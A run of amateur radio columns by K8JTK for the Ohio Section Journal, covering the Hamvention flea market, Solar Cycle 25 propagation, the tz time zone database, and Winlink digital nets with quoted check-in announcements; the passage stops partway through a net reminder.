Saturday’s start was preceded by early morning showers. The paved remote parking lots of the high school and town square really helped out instead of parking on soft grass. Quickly though, the sun came out and it was pretty brutal as temperatures reached the mid-80’s. It was flea market day and we spent the day meandering the inner horse track for some treasure. Want to build a repeater? Want to fix up an old radio? Looking for cheap finds? Want to make new friends? Looking to do something new in ham radio? It’s all out in the Hamvention flea market.

Since getting locked down, I have been playing with commercial gear in the ham bands, mostly NXDN and P25 radios. I was looking to find VHF counterparts to some UHF gear I already own. I found a VHF Motorola CDM1250 for $60 with hand mic. Tried it out, after returning home, on some local frequencies and it seems to work great. Don’t know if I’ll use it as a spare or maybe reignite my interest in APRS. I did find a VHF XTS but the seller was firm on the price, more than I wanted to pay.

We managed to survive a little longer than 4 hours in the flea market. We kept hydrated and layered on sunscreen twice. That was a good call. I thought I got burned after returning to the hotel but it was just some slight redness. Festivities were abruptly interrupted about 2:15p with an announcement of approaching storms known to produce hail and had cloud-to-ground lightning. We missed most of what hit Xenia but got our share at the hotel in Dayton. Rains were coming down horizontally for about 15 minutes and had pea sized hail. Please, for the love of everything sacred, double-check your equipment. There were stations squawking APRS during Skywarn nets. Yes, we’re called “amateurs” but most people look to us as professional operators. Lidding up emergency nets with APRS squawks is neither.

Whether because of the slight possibility of not having the show or the economy and supply chain issues, big names did not make the show. Radio manufacturer Kenwood did not have a booth at the show, neither did Heil Sound. Maybe due to last minute changes and lack of commitments for the reasons above, there was no formal list of vendors in the program. Big tents outside the forum rooms were not present this year. While Heil Sound was not present, I received their mailing indicating they still had specials for the weekend and allowed vendors like DX Engineering, HRO, and R&L to make deals on their products. A mainstay, W5KUB, in the past, streamed his entire trek from Tennessee to Dayton and streamed the entire event. Tom was still there but not streaming. I didn’t see any videos about Hamvention posted to his channel either as of this writing.

K8JTK (left) and AmateurLogic.TV host George – W5JDX (right)

Vendors I know were located in specific areas at past shows were also missing. They weren’t there or maybe cut back their presence. Things were different over previous years at the fairgrounds. That leaves more opportunity for other vendors to make their presence known.

Congratulations to DARA and the 600+ volunteers on a job well done and reunion for Hamvention. If you’ve never ridden the school buses from the parking lots, you probably didn’t know that Xenia Community Schools do not have school the Friday of Hamvention. This is such a big event for the area that school children have the day off. Michael Kalter – W8CI mentioned on the DX Engineering video many did not know that fact. Most, including myself, do not realize how much of an undertaking this event really is. The DARA Hamvention YouTube channel has forums if you missed them or want to review a presentation.

The day before the hamfest started, Ham Radio Crash Course’s Josh – KI6NAZ streamed a Voice of America Hamvention Tour. It is jam-packed tour with lots of history of the station, engineering, model of the antenna arrays – the VOA antennas are no longer standing, and the switching matrix which is still standing. This tour is a fantastic history lesson and a must see for any radio buff on a future visit to Hamvention. Tours were given on Thursday for those that arrived early.

With Field Day coming up, sending 10 messages over RF from a site garners 100 bonus points. This includes Winlink messages. I love to receive messages about setup, stations, operating, or social activities taking place. These can be sent via the National Traffic System (NTS) or Winlink – K8JTK at Winlink.org – to my station. The Field Day rules state messages must leave via RF from the site (7.3.6). It does not state “formal messages” be in any particular format or utilize any particular network. A message to the SM or SEC must be in radiogram format and leave via RF or no credit will be given (7.3.5). If there are any questions about sending or format, send the message using the NTS network or Radiogram form in Winlink Express. Copies of messages must be included with the Field Day report submission for credit.

Thanks for reading and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – April 2022 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

Hey gang,

Solar Cycle 25 is here. The previous solar minimum was reached around 2018-2019 with the official end of Cycle 24 marked as December 2019. Being locked at home for the last two years didn’t line up with great propagation. I used the solar minimum to catch up on many non-ham radio related projects and things I’ve been putting off, many I’ve written about in these pages. Now that solar activity is on the rise, so goes my operating time – making contacts great again.

I did not have an operational HF station until mid-2014. I upgraded to General and Extra in 2008. Only used these privileges to be an Extra class VE. When my HF station was operational, it was at the peak of Cycle 24. I could hear both sides of a QSO, all check-ins during a Net, and was making sideband contacts with the Middle East. All with 100 feet of wire between some trees in the backyard at 100 watts max. Then 24 started to decline and the bands turned to crap. It was hard hearing all stations on a net aside from a moderately strong net control station. Nets lasted only a fraction of the time. Zero 10-meter contacts made where I had previously spent good parts of weekends operating there. This was my first experience with solar maximums and minimums.

Our nearest star, the sun, goes through cycles of activity that typically last 11 years. Scientists give these cycles numbers. Cycle 24 wrapped in 2019, signaling the start of Cycle 25. Periods of low sunspots are called minimums, while periods of many sunspots are maximums or peaks. Sunspots are areas of reduced temperatures caused by the rising of magnetic fields below the sun’s surface.

What does this have to do with propagation? When the sun is inactive or quiet, the electron density of our ionosphere decreases. This makes contacting DX stations more challenging, even impossible. The ionosphere is responsible for refracting signals, HF especially, over greater distances. When the sun is active with sunspots, it charges the ionosphere making it easier to contact DX stations.

Starting around 2021, I noticed bands were picking up. Meaning it was easier to make longer distance contacts and generally more activity on the bands was observed. These early beginnings of Cycle 25 offer a preview of what’s in store for the remainder.

It’s been very beneficial for me. As of this writing (end of April), I’ve racked up nearly 250 FT8 contacts this month. Many flock to popular watering holes: 20, 40, even 80-meters. I will spend time on the not-as-popular bands here in the US: 12, 15, and 17m. I do this mostly to rack up Logbook confirmations for Worked All States on each band and working toward achieving DXCC in general. One evening on 12-meters this month, I worked 16 FT8 DX stations in under an hour. I can’t ever recall it being that active. It’s hard to find an open spot on the waterfall while operating on 20 & 40 at times.

On the side of sideband, I frequently check into the Cincinnati Liars net. This net is hosted by the West Chester Amateur Radio Association, the same group which has a club station at the VOA museum and gives tours during Dayton. This should be a stop for every Hamvention visitor. I’m able to hear all stations that check-in from the opposite side of the state very well, including a station that frequently checks in from Cedar Rapids, IA. The net typically runs about 8 to 10 check-ins. The net assembles starting at 8pm eastern on Tuesdays around 3.835+/-. Exact frequency can be found using the NetLogger application.

12, 15, and 17-meters typically shutdown by the time I get on the air in the evenings. Recently, they’ve been open hours past sunset. I worked Jersey (the island of) and Kenya which are all-time new ones for me on 17 and 12 respectively.

While sunspots were down, I would have terrible luck at times connecting to Winlink gateways. One time, I was halfway down the list of available gateways before I made a successful connection – well into the yellow of reliability for those HF Winlink users. Last six-months, I’ve had very good luck connecting to Winlink gateways while sending messages using the network. Check out my February OSJ article for information on Winlink nets. Direct peer-to-peer messages to stations in West Virginia and Virginia have been very easy to accomplish as of late.

QRP operators (5w or less) will benefit from these improved conditions. I’ve seen many stations operating Parks on the Air. These stations typically have to operate lower power due to portability requirements of operating on battery or, at least, without amplifiers. It will be easier for QRP and portable operators to make contacts with improved propagation.

It’s a perfect opportunity for regular operators to look at improving their stations as well. New and improved antennas for 10, 12, 15, and 17-meters are relatively inexpensive to acquire or easy to build. Don’t forget about 6 & 10. I’m looking forward to making more sideband contacts with DX entities, which I apparently did early on after setting up my station, though I operate mostly digital now.

Propagation predictions are used to determine the best time of day and frequency to contact a DX station. I use VOACAP to estimate the best time for finding new DX entities/countries. I’m not a contester, however these predictions are used by contesters to point their antennas, taking advantage of best propagation in order to maximize number of contacts and score. A quick tutorial for those unfamiliar with using the VOACAP site:

  • Circuit Reliability graph of my Kenya FT8 contact on 12m (VOACAP)

    Drag the red marker to roughly the TX station location (your location)

  • Drag blue marker to roughly the RX station location (DX station)
  • Alternatively: input location/grid/latitude & longitude along the top
  • To the right, select the mode and power desired
  • Click Antennas and select antennas that closely match those at the TX and RX locations. If RX station antennas are unknown, leave at defaults.
  • Check Settings for any specific characteristics to be included in the circuit calculation. I leave them at default.
  • Finally, click Prop Chart

This presents a Circuit Reliability graph noting probability of reliable communication on a certain band given a time of day. Chart option selects a specific band. The REL (reliability) and REL LP (reliability via long path) lines predict times of reliable communication. More details about VOACAP is available on the main page with a downloadable Windows application for more accurate predictions using specific antenna modeling.

It’s not easy to predict how Cycle 25 turns out, even scientists are not sure if it will be good or bad. If my experience is any indication, it’s looking verrry good. I’ve confirmed a handful of DXCC entities and all-time-new ones for myself. Optimists hope for a return of Cycle 19 from the ’50s. I wasn’t around however an article in the April 2021 edition of QST on Cycle 25 indicated it was spectacular. I’ll be happy with a repeat of mediocre Cycle 24. One thing is for sure, all license classes can benefit and join the fun. Novice and Technicians have access to: CW on a couple HF bands, parts of digital & FM on 10-meters, and of course all of 6-meters. If you’re fortunate to hear our Section Manager speak at a hamfest or forum, he’s stated ‘this might be the last solar cycle that I’ll be around for.’ I’m hoping for many more beyond 25. Either way get on the bands, operate, and have fun!

SHF module (ICOM Japan)

One of my favorite radio vendors, ICOM has announced the SHF Project. This project is building RF modules for the 2.4 and 5.6 GHz bands with embedded GPS receivers. This means ICOM is likely creating devices used for ham radio mesh networking. Those bands are commonly used for Wi-Fi networks with some non-shared allocations for ham radio. It’s nice to see ICOM is still devoted to the ham radio community buy innovating and coming up with different types of devices. Currently, inexpensive mesh devices from commercial vendors are readily available. Replacing the stock firmware with modified firmware, these devices are easily re-purposed for use with ham radio mesh networks. The ICOM site states there will a demo available in their booth at Hamvention this year. I’m looking forward to seeing their offering.

Speaking of Hamvention and Dayton, assuming governments don’t try to sequester us to our homes, again, I look forward to seeing everyone at Hamvention. It’s been two long years and it will be a welcome return as hamfests have been making a comeback over the last year.

Thanks for reading, get on the air, and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – March 2022 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

Hey gang,

Time. We all use it. Most states change it twice a year. We all have our devices to keep track of it. Some are a little too proud of their device – ‘my WWV synced clock…’ I’ve discussed WWV in the past when it was on the chopping block for the national budget. Thankfully, that didn’t happen. As hams, we coordinate time with other operators. Nets that cross multiple time zones include Universal Coordinated Time (UTC) in announcements. This time, it’s not so much about having the correct time, rather how do computing devices know when they should change the time? I learned there’s one guy that makes sure devices know in what time zone they’re located.

I wondered: who maintains the time zone data on computing systems? Updating Linux systems would occasionally include the “tzdata” and accompanying packages. Well, someone changed their standard to daylight saving cutover again. Yes, it is “daylight saving time” though everyone says “daylight savings time.” Also wondered: what’s the difference when configuring a system’s time zone to be “US/Eastern” versus “America/New_York” or “America/Detroit?” For whatever reason, never bothered to look into it any further. That was until Paul, a co-worker of mine, was talking about a post he had seen describing one guy whom maintains the time zone database. That post is authored by Daniel Rosehill, who originally made a YouTube video about the subject. Daniel’s post is where I began exploring the topic further.

In a non-technical sense, time zones are political. Sure, it starts out with the prime meridian and count consistent offsets from there. Adopting and when to adjust time is left to the state. Most of Arizona is on standard time all year long. Some AZ cities decided to stay on mountain time or pacific time, adjusting when those zones change from standard to daylight saving. Closer to home, Indiana cities that are suburbs of Chicago adjust to central time while the remainder of the state uses eastern. Despite what our terrible media says, there are other conflicts, wars, crisis, clashes, and uprisings going on right now. To say that time zones are not important, try selecting the wrong time zone in a territory that’s in conflict with another territory or a countries time zone that has been deleted as punishment due to a historical event.

The “tz database” is a collaborative effort of information gathered by enthusiasts, done as a hobby or maybe in-conjunction with their job. This database is intended to be used with computer systems, programs and operating systems. The tz database definition of a time zone is “where clocks have agreed since 1970” (theory.html in source). If all clocks in a time zone have agreed since 1970, don’t include more than one zone or locale – even if some disagreed before 1970. The database attempts to record historical time zone and civil changes since 1970. 1970 is also important because it is the UNIX Epoch time (number of seconds that have elapsed since the arbitrary time of 00:00 UTC on 1/1/1970). Time zone data rules before 1970 are “best effort” which may identify a region but not necessary be correct for the entire region.

Paul Eggert (UCLA)

ICANN organizationally backs the tz database. ICANN approves top-level domains (.com, .net, .org, .io, .edu, .club, .info, .radio, etc.) and other Internet functions is the same group responsible for IANA. IANA oversees IP address allocation, Domain Name System (DNS), as well as other symbols, protocols, and Internet numbers. One guy is the editor and decision maker. His name is Paul Eggert. Paul works as a computer scientist and instructor in UCLA’s Computer Science department. He dedicates his time to maintaining the global time zone system. Eggert also designed the uniform naming convention for time zone locales, such as America/New_York and Europe/Paris.

Comments in source data files read like the history of the world’s stance on time. Referencing articles and texts used in decision making forming their time zone rules. This, well before Google Earth, where locations of importance only could be estimated in other parts of the world by utilizing such ancient technologies called a map or by calling someone on the telephone. States will arbitrarily decide they had enough of summer and change clocks one month earlier than expected (Jordan). Warlords, dictators take out anger on time and decide to change time zones with only four days’ notice – mostly in Africa.

These rules set time and shift standard to daylight saving (and back) on the correct date and time. They contain rules regarding leap seconds and other historical changes used in calculating time zone conversions. A program that can do such a conversion would know March 25, 2022 at 3pm in Ohio (EDT -4) is March 25, 2022 at 4am in Tokyo – which is still on standard time (JST +9). The same day in 1999, both time zones used standard time. Meaning March 25, 1999 at 3pm (EST -5) was March 25, 1999 at 5am in Tokyo.

Why the difference between America/New_York and America/Detroit? Today, both cities observe changing their clocks at the same time. Differences are of historical significance. Detroit has made many changes to time: 28 minus off central time in the 1900’s. Adopted central time in 1905. Michigan did not observe daylight saving time in 1967 like the rest of the US, it decided to begin DST on June 14 at 00:01. A vote in 1968 narrowly repealed DST to take effect in 1969. Observed DST, again, starting in 1973, however changed late in 1975.

New York (City), is the standard for eastern time by which most US states agree. In 1833, New York City Hall time was 3 minutes 58.4 seconds fast of eastern time. Today, selecting either New_York or Detroit will change the time when expected. Comparing historical time is the issue. Ohio’s time has followed that of New York City. All of this is documented in the tz data source code comments for northamerica with accompanying rules written to account for these changes. Selecting GMT-4 would always be 4 hours off GMT all-year round. The appropriate system section for Ohio would be America/New_York. US/Eastern is a link to America/New_York, which either will work though US/Eastern is considered deprecated.

Should legislation, which has already passed the Senate, making daylight saving time permanent, this would create another set of rules for all U.S. locales reflecting this change. Additional rules would be needed for any locales that decide not to adopt the legislation or decide to recognize the change on a different date.

timedatectl example output

The database is centralized and developed for Unix and Unix-like systems, including Linux and Mac-based computers. Most Internet users don’t understand Linux is quite important in the computing world. While Linux lags behind in the desktop operating system market, favored by hard-core computer enthusiasts. In the server world, Linux dominates, even on cloud infrastructure. Windows systems utilize a mapping between Microsoft Windows time zone IDs and the tz database. This is not perfect as Windows implements less time zones than are present in the database. Changes and releases to the tz database are documented at the tz mailing list.

Most Linux systems store time zone data located in the directory: /usr/share/zoneinfo. Those files are compiled and not human-readable but the operating system uses those files to shift time and for time zone conversions. The Linux command timedatectl will display system time information: local time, UTC, RTC (hardware clock), time zone, and is time synchronized with an NTP server (Network Time Protocol, usually servers on the Internet). It is standard for *nix systems to store the hardware clock in UTC. Philosophy being it is best not to mess with the hardware clock and do the conversion visually for the user. This is noticed on dual boot Linux and Windows systems. Linux will be the correct time but Windows will display (as of this writing) 4-hours fast.

Real Time Clocks are dumb clocks. They have no ability to adjust for time changes on their own. It is understood in the computing world that external facilitates manage the RTC – most often the Operating System – will adjust the system clock with the help of the tz database. Much like an alarm clock, microwave, or wall-clock that need manual adjusting when the time changes or due to drift.

Think of all the systems, devices, and things that rely on time. The tz database is one, very small, piece of technology which hundreds of millions of devices rely. Daniel pointed out in his write up, think of all the startup companies and dubious technologies that claim to change air water into oil, only to vanish into oblivion within a few years. The tz database won’t vanish, because it can’t. Everything relies on this database at the bottom of a very large technology stack.

I’ve seen programs written where developers implement code to account for changes in time zones. Don’t. Just don’t. The best way for a coder or database administrator to deal with time zones is not to deal with time zones. Let the system handle time or include time zone libraries in the project. Where there are time zone issues to fix, there will be more.

Comic depicting modern infrastructure relying on small projects – like the tz database – to perform essential functions (xkcd)

The results are bad and potentially catastrophic when developers attempt to account for time zone changes. It confuses users of the system: why is it changing the time using this one function of the program? The answer is usually something like: the developer stored time in local time instead of UTC, they recognized when this information is sent to a different location across time zones, time would have to be adjusted. However, they implemented hard-coded logic which no longer applies because the state recently changed their rules. Those rules are now wrong and nobody knew or remembered they were there in code.

Upstream systems start making incorrect decisions based on the garbage data received as a result of bugs like these. For example, a customer is charged interest on a payment that was recorded as late but wasn’t actually late. It continues to roll downhill from there.

As Daniel points out, these high-stakes deliberations represent a near Y2K meltdown that must be averted. Every. Time. A single erroneous key stroke could instantly change EST to CST or PST. Magnify the example scenario above by millions of systems which all have the wrong time. Think of all the confusion, missed meetings, missed scheduled jobs, missed TV recordings, incorrectly recorded measurements, incorrectly recorded transaction ledgers, erroneous data, deleted data, and overall impact to the economy (more than our politicians have already managed to do).

Paul (the CS guy, not my co-worker) has gone to sleep each night knowing the world’s computers are using his code to know what time zone they are in. He seems to be handling that pressure in strides and is at least owed a “thank you.”

Regarding my article last month about Winlink nets, some PAT client users have informed me standard Winlink forms are now fully supported. HTML forms support is fully implemented as of the July 2021 release. Those who built a system using KM4ACK’s Build-a-Pi programs will need to update and follow his video to make the necessary changes. New installs of Build-a-Pi will come with the latest configuration of PAT. Installs done through the procedure on the PAT website will have to manually update and make a modification to config.json. New installs should already have this value correctly set.

Thanks for reading and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – February 2022 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

Hey gang,

Ever heard of Winlink Wednesday? Many who operate digital or operate during emergencies are familiar with Winlink because it has proven to be useful and effective. Winlink is a radio messaging system that uses amateur-band radio frequencies. Features include E-mail messages, attachments, position reporting, weather bulletins, emergency relief communications, message relay, and form submission. This system is popular when the Internet is not available. Winlink was first used recreationally by mariners, RV campers, and missionaries.

That’s the Winlink part, what does Wednesday have to do with all this? Greg Butler – KW6GB, who I met at the Vienna Wireless Society’s Winterfest just outside of Washington, D.C., coined the term. It was an honor to meet with him because his video, an introduction to Winlink, is an excellent tutorial. Winlink Wednesday is a net. It then turned into a popular day to hold many Winlink nets. After talking with Greg, he invited me to participate in their net. Greg has since retired as Net Control Station and David – KN4LQN has taken over net responsibilities.

Most of us know that a “net” is an on-the-air gathering of hams which convene on a regular schedule, specific frequency, and organized for a particular purpose. Such as relaying messages, discussing a common topic of interest, severe weather, emergencies, or simply as a regular gathering of friends for conversation. It’s also an excellent time to test radios, antennas, and equipment. Most of us have participated in a voice net on a local repeater or even on the HF bands. “Digital nets” exist to practice these same concepts except using digital communication.

Winlink nets serve the same purposes as other nets: encourage participation, encourage regular use of the Winlink system, expand operators’ skills, of course test our equipment and the RF gateway network.

I’ve participated in a few digital communication practice sessions as part of a drill. Last time most users dusted off their digital equipment was during the previous drill. When it came time to setting up, using, and operating their equipment, it was an epic failure. Practicing is essential anytime, not just for digital operations.

Greg – KW6GB (left) demonstrating Winlink
at the Vienna Wireless Society’s Winterfest

Winlink is a store-and-forward E-mail system. Conducting nets on this system must utilize a methodology that works with the technology. Everyone sending check-in E-mails during a small window of time is not realistic. Most Winlink nets provide a weekly announcement or reminder to the previous week’s check-in list. Announcements are typically sent out a few days before the net begins accepting check-ins. Announcements will lay out check-in procedures, Winlink modes, and times during which messages will be accepted. Nets may require a simple one-line of text, others a Winlink form. Some have a discussion question for comment, others have a training exercise. A list of check-ins is often returned to the group a day or so after the net concludes. Some utilize other technologies like maps to show locations of net participants.

To check-in, after opening Winlink Express, compose a new message. Do not reply to the original message. There is no need to waste bandwidth having the net announcement text as part of the check-in message. In some cases, the station receiving check-ins is not the station that sent the announcement. Recipient’s or NCS’ call goes into the TO field. It’s not necessary to include the “@winlink.org” part of the address just as it’s not required if the sender and receiver are using the same E-mail provider or domain. Subject is usually the name of the net. Many ask for a single-line check-in consisting of a combination of callsign, first name, city, county, state, and mode/band used to check-in. For example, this is my standard one-line check-in:

K8JTK, Jeff, Westlake, Cuyahoga, OH (HF Vera)

I have found steps in weekly announcements to be straightforward. Some users complain about instructions that are reused where a screenshot does not match the form. It’s often the case a form is updated but an older screenshot was used or instructions have changed slightly after screenshots were taken. Some nets get 400 to 700 check-ins per week. If a check-in requires the NCS to do additional work because the operator didn’t follow correct procedure, they’re more likely to ignore, delete, and move on. Other examples: NCS requested a single-line with comma-separated

Check-in to the Ohio Winlink Net

values and you provided a
different value
each
on separate
lines,
provided a form when one wasn’t requested, or the wrong form was used – are all reasons a check-in may not be counted. There are, of course, system issues and unexpected results. One net found sending an APRS location beacon message over Winlink resulted in the Carbon Copy addresses being ignored. It’s a learning process for all.

Winlink has may operating modes and bands: APRS, ARDOP, AREDN, PACTOR, peer-to-peer, Packet, VERA HF, VERA FM, Telnet (that should cover most of them), or some combination. Nets accept check-ins using any method that works for the operator. A few will not accept Telnet as it’s not typically used over-the-air in the ham bands. Others will not accept peer-to-peer (P2P).

P2P allows one Winlink operator to send a message directly to another station over RF without the use of Winlink infrastructure. Originating station composes the message as a “Peer-to-Peer Message” then selects the appropriate P2P operating mode to match the receiving station. Receiving stations have to let others know frequency and times when they will be available for receiving messages. An NCS may use their station or designated assistants to receive P2P messages.

I haven’t used other Winlink clients such as PAT. It seems PAT does not have the forms one would expect to find in the Winlink Express client. That makes it difficult to operate alternative Winlink clients on devices that are more compact and portable such as a Linux device or Raspberry Pi. A way to get around this, have someone using Winlink Express send an example form to a station using the PAT client. The PAT station uses text editors to modify the fields by hand and return the form. Not as elegant as the interface using the browser.

I currently participate in six Winlink nets. There are probably some DX nets out there I’m unaware. Just like any open net, you do not have to be in the designated area to check-in or participate. I check into the North Texas and West Virginia Winlink nets among others. The West Virginia net receives more out-of-state check-ins than in-state. We even have Winlink nets right here in Ohio and in the Great Lakes region.

Included below is each net’s routine information from their weekly announcement. For more details, contact the NCS station or check their website/groups.io if available. To join any or all of these nets, simply check in!

To use KF5VO’s signing from the Winlink Wednesday NTX net, Happy Winlinking!

Ohio Winlink Net

From: K8EAF
Subject: OH Winlink Net Reminder

Hello Winlink Users,

This is a reminder of the OH Winlink Wednesday Net for *date*.

Just a one line with callsign, first name, city, county, state and via what mode/band (VHF, UHF, HF, SHF, TELNET, APRS, ARDEN, ARDOP, VARA, VARA FM). I'll log you in with any means of communication. Or just send a Homing Message Pigeon!

Enter my callsign in the "To" field (K8EAF). Subject field "OH Winlink Net Check-in". In the body field enter callsign, first name, city, county, state and via what mode/band. See example in my signature line below.

This is a good time to test drive the Winlink forms. Many operators like to use the Winlink Check-In form located in the General Forms tab.

All check-ins will be acknowledged, and a complete roster will be sent later in the week.

"Prior Planning Prevents Poor Performance!"

K8EAF, Ed, Cincinnati, Hamilton, OH (VHF)

Great Lakes Area Winlink Net

From: KB8RCR
Subject: Invitation to join the Great Lakes Area Winlink Net

Greetings!

I am the founder and net manager for the Great Lakes Area Winlink Net which was formed in March of 2021.

The premise of the net is to learn and be much more comfortable with Winlink and it's operation as in public service communications as well as emergency service communications can utilize Winlink. Another big part of the net is to learn a wide variety of the forms in the forms library. It is not important how you check in, but that you do check in. By that I mean, whether you get in via Telnet, or from some form of RF connection, your check in is still important to the net. The participation In using the forms are voluntary, but encouraged. If you cannot try the forms, just send a plain text message with the check in information requested below in this message.

The net meets each Wednesday and your check in will be accepted with late Tuesday night and the absolute cutoff is noon on Thursday (Eastern Time Zone) as that gives you plenty of time to check into the net.

The check in process can be a simple plain text check in, or placed in a form somewhere. Use this format for a proper check in:

CALLSIGN, FIRST NAME, CITY, COUNTY, STATE/PROVINCE, COUNTRY.

My checkin for example, would look like this: KB8RCR, RYAN, REMUS, MECOSTA, MI, USA

In the TO: section send your message to KB8RCR

In the Subject: line please put something like GLAWN Checkin (date of checkin)

A good tip for all of these Winlink nets is to use some type of word processing program or text file and just copy/paste your information. This is what I do at least.

Thanks for taking the time to read this, and to consider checking into the Great Lakes Area Winlink Net. I strongly encourage you to keep participating in your existing Winlink nets, and to consider checking in to the GLAWN  net too.

Respectfully Sent,
Ryan Lughermo, KB8RCR
Great Lakes Area Winlink Net Founder/Manager

Winlink Wednesday (Virginia)

From: KN4LQN
Subject: Winlink Wednesday Reminder (#xxx)

*** Winlink Wednesday (Episode #xxx) ***
** PRIMARY NCS - KN4LQN **

(This reminder is also on the web at https://winlinkwednesday.net/reminder.html)

Standard check-ins this week (no weather snapshots or attachments of any type, please).

WHO: All amateur radio operators
WHAT: Winlink Wednesday
WHEN: Wednesday, *date*, 0000-2359 EST (UTC: 0500 Wed - 0459 Thu)
HOW: This net will accept check-ins via Winlink only. Send a check-in via any RMS during the timeframe above, or participate in one or both of the P2P sessions below.

Please do not use a "Telnet Winlink" connection (which defeats the purpose of Winlink). The goal is to have the message leave your station via RF.

Please remember to use the correct format (check-in message on a SINGLE LINE) for check-in, as shown below, over an RF connection.

To: KN4LQN (or alternate NCS, as appropriate)
Subject: Winlink Wednesday Check-In
Message body: call sign, first name, city or town, county, state (HF or VHF, etc.)

See example in my signature line, below.

PEER-TO-PEER SESSIONS:
Morning session: 0730-0930 EST, (UTC: 1230 - 1430), ARDOP P2P, several frequencies (see chart below).
   Net Control Stations - Morning P2P Session Only
      Please check in through ONLY ONE of these stations:
   Status         Station   Dial Freq     Operator          Location
   Primary        KN4LQN    3582 kHz      David Elkins      Chesterfield County
   Alternate      KE4KEW    3565 kHz      Martin Krupinsky  Augusta County
   Alternate      KM4DC     3593 kHz      Don McCubbin      Fairfax County
      Messages sent to Alternate NCS must be addressed to the receiving station.

Evening session: 1900-2130 EST (UTC: 0000 Thu - 0230 Thu), VARA P2P, 3582 kHz (dial).
   Net Control Station - Evening P2P Session
   Status         Station   Dial Freq     Operator          Location
   Primary        KN4LQN    3582 kHz      David Elkins      Chesterfield County
      No Alternate Net Control Stations.

Watch Facebook for details when active.

On Thursday, all check-ins will be acknowledged, and a net report and complete roster will be published to the Web.

73,
KN4LQN, David, Chesterfield, VA (VHF)

Website: https://winlinkwednesday.net/

Weather snapshots are requested on the first Wednesday of the month (no attachments of any type). Standard check-ins are always welcome.

observation time, weather conditions, temperature <<<— WEATHER ON SECOND LINE of message body. A recent example of my check-in with weather snapshot:

K8JTK, Jeff, Westlake, Cuyahoga, OH (HF Vera)
0015L, overcast, winds S@15mph, 45dF

Third Wednesday of each month, an ICS-213 form can be submitted in place of the normal one-line check-in. Instructions are provided for trouble-free submission of the ICS-213 form.

Winlink Wednesday participants

Winlink Wednesday NTX (North Texas)

From: KF5VO
Subject: Winlink Wednesday NTX Reminder

It's that time once again for Winlink Wednesday!

*Discussion question of the week*


Other instructions:

Use the Winlink Check In template when checking in. As a reminder, to use the template, when the New Message screen is opened, click on the menu items Select Template --> Standard Templates --> GENERAL Forms --> Winlink Check In.txt.

Make sure in the Send To box to put my call sign, KF5VO.

In the location box, put the name of your city/town, and which gateway you're connecting through (if known).

IF YOU ARE USING SOMETHING OTHER THAN WINLINK EXPRESS TO CHECK IN:
If you are not using the forms, then whatever you type into the body of the message will be considered the "Comment" field on the form.


Happy Winlinking!


Please visit the Winlink Wednesday NTX web site for more info on how to check in to the net:
https://bit.ly/2TfJNJE

If you haven't already, please join our mailing list on Groups.IO https://groups.io/g/WinlinkWednesdayNTX

John indicated he likes to have stations use gateway nodes instead of peer-to-peer. That way a node administrator can be made aware of and resolve issues. It would be bad to find out a node was not operational for a local emergency. In the past, he has helped identify TNC issues and problems resulting from Microsoft’s Patch Tuesday and Windows Updates released the day before!

West Virginia Winlink Net (Thursdays)

From: WV8MT
Subject: WV Winlink Net Reminder

Calling All Radio Amateurs!
Calling All Radio Amateurs!

I will hold the * net number * installment of the West Virginia Winlink Net this Thursday, * date * from 00:00 to 23:59. I will take check ins all day at your convenience. Please make sure your check in follows the following format in the message body:

WV8MT, MIKE, SUGAR GROVE, PENDLETON, WV (VHF, HF, or P2P)

VARA P2P SESSION!
